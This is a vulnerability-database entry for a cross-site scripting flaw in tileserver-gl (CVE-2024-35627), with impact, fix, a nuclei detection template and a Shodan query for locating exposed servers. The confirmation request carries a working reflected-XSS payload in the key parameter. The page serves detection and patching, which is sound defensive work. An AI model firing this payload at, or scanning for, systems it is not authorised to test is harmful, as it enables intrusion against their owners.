Browse / CVEs / CVE-2024-35627
CVE-2024-35627· CWE-79
TileServer API - Cross Site Scripting
mediumseverity
6.1CVSS score
1%likelihood of exploitation, next 30 days
62%of all CVEs are less likely
Readycheck to confirm it
tileserver-gl up to v4.4.10 was discovered to contain a cross-site scripting (XSS) vulnerability via the component /data/v3/?key.
Impact
Attackers can inject malicious scripts via the key parameter, potentially compromising user sessions or stealing sensitive information.
Fix
Update tileserver-gl to a version later than v4.4.10 that patches the XSS vulnerability.
How to confirm it
Send: GET {{BaseURL}}/data/v3/?key=%27-alert(document.domain)-%27
Positive when: contains "TileServer" and "'-alert(document.domain)-'" AND contains in content_type "text/html" AND status 200Run it with nuclei: nuclei -id CVE-2024-35627 -u <target>
The full check
id: CVE-2024-35627
info:
name: TileServer API - Cross Site Scripting
author: DhiyaneshDK
severity: medium
description: |
tileserver-gl up to v4.4.10 was discovered to contain a cross-site scripting (XSS) vulnerability via the component /data/v3/?key.
impact: |
Attackers can inject malicious scripts via the key parameter, potentially compromising user sessions or stealing sensitive information.
remediation: |
Update tileserver-gl to a version later than v4.4.10 that patches the XSS vulnerability.
reference:
- https://gist.github.com/SaleSlave/e23d49e7f8eb937784d15c2c2fc34fca
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2024-35627
cwe-id: CWE-79
epss-score: 0.00957
epss-percentile: 0.6175
metadata:
verified: true
max-request: 1
shodan-query: http.favicon.hash:-1258058404
tags: cve,cve2024,tileserver,xss,vuln
http:
- method: GET
path:
- "{{BaseURL}}/data/v3/?key=%27-alert(document.domain)-%27"
matchers-condition: and
matchers:
- type: word
part: body
words:
- "TileServer"
- "'-alert(document.domain)-'"
condition: and
- type: word
part: content_type
words:
- text/html
- type: status
status:
- 200References
Use this check only on systems you are authorised to test. Where the data comes from